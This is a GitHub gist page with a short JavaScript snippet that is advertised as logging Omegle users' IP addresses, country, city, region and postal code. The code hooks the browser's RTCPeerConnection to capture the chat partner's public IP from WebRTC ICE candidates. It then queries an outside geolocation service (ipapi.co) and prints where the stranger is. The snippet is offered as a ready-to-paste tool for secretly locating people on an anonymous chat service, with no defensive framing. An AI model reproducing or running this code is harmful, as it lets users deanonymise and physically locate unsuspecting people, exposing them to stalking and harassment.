Skip to content

Instantly share code, notes, and snippets.

@1trackprojects1
Created November 24, 2020 11:28
Show Gist options
  • Save 1trackprojects1/2a2c50f4eec9bc86b5ee6fd96d8ef9db to your computer and use it in GitHub Desktop.
Save 1trackprojects1/2a2c50f4eec9bc86b5ee6fd96d8ef9db to your computer and use it in GitHub Desktop.
Log locations of users straight from Omegle! It logs IPs, Countries, Cities, Zipcode and even Regions.
function httpGetAsync(theUrl, callback) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function () {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
callback(xmlHttp.responseText);
}
xmlHttp.open("GET", theUrl, true);
xmlHttp.send(null);
}
window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection
window.RTCPeerConnection = function (...args) {
const pc = new window.oRTCPeerConnection(...args)
pc.oaddIceCandidate = pc.addIceCandidate
pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidate.candidate.split(' ')
if (fields[7] === 'srflx') {
console.log('-------------------------------------------')
console.log('User IP Address:', fields[4])
httpGetAsync('https://ipapi.co/' + fields[4] + '/json/', function success(response) {
var response = JSON.parse(response)
console.log('User Country:', response.country_name)
console.log('User Region:', response.region)
console.log('User City:', response.city)
console.log('User Postal Code:', response.postal)
})
}
return pc.oaddIceCandidate(iceCandidate, ...rest)
}
return pc
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment